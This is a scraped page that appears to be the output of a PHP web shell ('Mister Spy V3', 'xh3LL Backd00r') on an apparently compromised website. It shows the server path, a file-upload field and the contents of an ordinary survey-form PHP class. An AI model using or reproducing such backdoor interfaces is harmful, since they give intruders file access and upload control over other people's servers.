Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/web/library/
Upload File :
Current File : /home/caballoscriollos/www/web/library/class.tipospreguntas.php

<?php

class TiposPreguntas
{ 		
	const ValorUnico		= 1;
	const ValorMultiple		= 2;
	const Numerico			= 3;
	const Texto				= 4;

	static function GetById($IdTipoEncuesta)
	{
		switch($IdTipoEncuesta)
		{
			case self::ValorUnico:
				return "Valor &uacute;nico";
				
			case self::ValorMultiple:
				return "Valor multiple";
				
			case self::Numerico:
				return "N&uacute;merico";
				
			case self::Texto:
				return "Texto";

			default:
				return "No Asignado";
		}
	}

	static function GetTemplateById($IdTipoEncuesta, $required = true, $value = null)
	{
		$attVal = '';
		if ($required)
			$attVal = 'required';
			
		switch($IdTipoEncuesta)
		{
			case self::ValorUnico:
				$tpl = '<input id="Opcion{{IdOpcion}}" name="Opcion{{IdPregunta}}" ' . $attVal . ' data-parsley-errors-container=".my_error_container_{{IdPregunta}}" data-parsley-error-message="Por favor, seleccione una opci&oacute;n" type="radio"  data-id="{{IdTurno}}" data-pregunta="{{IdPregunta}}" data-value="{{Valor}}" value="{{IdOpcion}}" {{checked}} >';
				$tpl.= '<label for="Opcion{{IdOpcion}}">{{Nombre}}</label>';
				return $tpl;
				
			case self::ValorMultiple:
				$tpl = '<input id="Opcion{{IdOpcion}}" name="Opcion{{IdPregunta}}[]" ' . $attVal . ' data-parsley-errors-container=".my_error_container_{{IdPregunta}}" data-parsley-error-message="Por favor, seleccione una opci&oacute;n" type="checkbox"  data-id="{{IdTurno}}" data-pregunta="{{IdPregunta}}" data-value="{{Valor}}" value="{{IdOpcion}}" {{checked}} >';
				$tpl.= '<label for="Opcion{{IdOpcion}}">{{Nombre}}</label>';
				return $tpl;
				
			case self::Numerico:
				$tpl = '<select id="Opcion{{IdPregunta}}" name="Opcion{{IdPregunta}}" required data-parsley-errors-container=".my_error_container_{{IdPregunta}}" data-parsley-error-message="Por favor, ingrese un valor numerico" type="number"  data-id="{{IdTurno}}" data-pregunta="{{IdPregunta}}" data-value="{{Valor}}">';
				$tpl.= '<option value="">Seleccione un valor</option>';
				for($j = 0; $j < 100; $j++)
				{
					$selected = '';
					if ($value == $j)
						$selected = 'selected="selected"';
					$tpl.= '<option value="' . $j . '" ' . $selected . '>' . $j . '</option>';
				}
				$tpl.= '<select>';
				return $tpl;
				
			case self::Texto:
				$tpl = '<textarea id="Opcion{{IdPregunta}}" name="Opcion{{IdPregunta}}" ' . $attVal . ' data-parsley-errors-container=".my_error_container_{{IdPregunta}}" data-parsley-error-message="Por favor, seleccione un valor" data-id="{{IdTurno}}" data-pregunta="{{IdPregunta}}" data-value="{{Valor}}" style="width: 100%">{{Valor}}</textarea>';
				return $tpl;

			default:
				return "";
		}
	}
	
	
	static function GetAll()
	{
		return array
		(
			array("IdTipoPregunta" => self::ValorUnico, 	"Descripcion" => "Valor &uacute;nico"),
			array("IdTipoPregunta" => self::ValorMultiple, 	"Descripcion" => "Valor multiple"),
			array("IdTipoPregunta" => self::Numerico, 		"Descripcion" => "N&uacute;merico"),
			array("IdTipoPregunta" => self::Texto, 			"Descripcion" => "Texto")
		);
	}
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat